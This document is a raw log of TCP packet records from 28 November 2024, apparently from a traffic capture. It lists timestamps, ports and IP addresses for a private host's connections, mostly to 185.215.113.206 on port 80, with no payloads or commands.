Nov 28, 2024 02:27:42.273648977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.273958921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.273998022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.274409056 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.275930882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.275943041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.275985956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.278336048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.278347015 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.278383970 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.278395891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.281032085 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.281196117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.281670094 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.281721115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.283886909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.284157991 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.284509897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.285191059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.285502911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.285514116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.285583973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.287978888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.287992954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.288285971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.289046049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.289199114 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.289212942 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.289239883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.291996002 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.292007923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.292052031 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.292072058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.293514013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.293565989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.293845892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.294249058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.295705080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.295764923 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.295826912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.295861006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.297960043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.298002958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.298063993 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.298185110 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.300163031 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.300236940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.300251007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.300412893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.302397966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.302469969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.302509069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.302571058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.304610968 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.304675102 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.304712057 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.304914951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.306854963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.306957006 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.307001114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.309117079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.309173107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.309251070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.309290886 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.311279058 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.311332941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.311372042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.311429977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.313524008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.313571930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.313621044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.313713074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.315869093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.315882921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.315920115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.317645073 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.317977905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.318090916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.318128109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.318128109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.320187092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.320245028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.320285082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.320467949 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.322417021 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.322500944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.322534084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.322588921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.324659109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.324704885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.324749947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.324791908 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.326889992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.326946020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.326984882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.327027082 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.329094887 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.329180956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.329266071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.329320908 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.331320047 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.331394911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.331425905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.331456900 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.333489895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.333719015 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.333775043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.335748911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.335858107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.335860014 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.335906982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.338347912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.338360071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.340348005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.340401888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.340696096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.341195107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.342420101 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.342539072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.342597008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.344656944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.344738960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.344785929 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.428044081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.428061008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.428131104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.428509951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.428735971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.428793907 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.430022001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.430080891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.430146933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.430197001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.431670904 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.431725979 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.431770086 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.431803942 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.433321953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.433368921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.433459044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.433594942 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.434974909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.435050964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.435081959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.435168028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.436593056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.436660051 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.436690092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.436732054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.438232899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.438283920 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.438541889 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.438585043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.439748049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.439851046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.439863920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.440031052 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.441328049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.441454887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.441457033 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.441528082 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.441945076 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.442027092 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.442166090 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.443228006 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.443248034 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.443249941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.443262100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.443299055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.443315983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.444390059 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.444459915 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.444495916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.444536924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.446063042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.446074009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.446125031 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.446630001 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.446662903 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.446764946 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.446918011 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.446928978 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.447467089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.447556019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.447613001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.449314117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.449326038 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.449368000 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.450407982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.450470924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.450508118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.450577974 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.452275991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.452327013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.452605963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.452876091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.453912973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.453924894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.453984022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.455346107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.455358028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.455399036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.456378937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.456438065 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.456526995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.456685066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.458156109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.458168030 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.458230972 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.458261013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.459212065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.459393978 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.459449053 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.460978985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.460992098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.461030006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.462461948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.462474108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.462522984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.462537050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.463550091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.463562012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.463622093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.465332031 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.465344906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.465387106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.466356039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.466420889 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.466533899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.466573954 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.467789888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.467802048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.467848063 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.467860937 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.469918966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.469929934 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.469983101 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.470006943 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.470614910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.470627069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.470679045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.472383976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.472395897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.472462893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.473067045 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.473124027 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.473273993 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.473449945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.474879980 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.474896908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.474950075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.475625038 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.475691080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.475761890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.475812912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.476967096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.477027893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.477135897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.477181911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.478377104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.478434086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.478693008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.478770018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.480318069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.480329990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.480391979 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.481667042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.481679916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.481750011 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.482918978 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.482929945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.482985020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.484323025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.484334946 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.484380960 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.485776901 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.485790014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.485846043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.486840010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.486852884 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.486896992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.486917973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.488188028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.488385916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.488394976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.488765955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.489962101 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.490025997 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.490030050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.490098000 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.491631985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.491643906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.491770983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.492824078 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.492836952 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.492893934 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.494663954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.494678020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.494735003 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.494759083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.495524883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.495537043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.495594978 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.497586012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.497598886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.497689009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.497689009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.498605967 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.498619080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.498663902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.499383926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.499397039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.499638081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.499990940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.500046015 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.500185013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.500461102 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.501725912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.501738071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.501780987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.502439022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.502597094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.629138947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.629159927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.629209042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.629242897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.629528999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.629540920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.629592896 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.630594969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.630662918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.630737066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.630779982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.630943060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.631043911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.632172108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.632186890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.632234097 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.633203983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.633217096 CET	80	49823	185.215.113.206	192.168.2.6
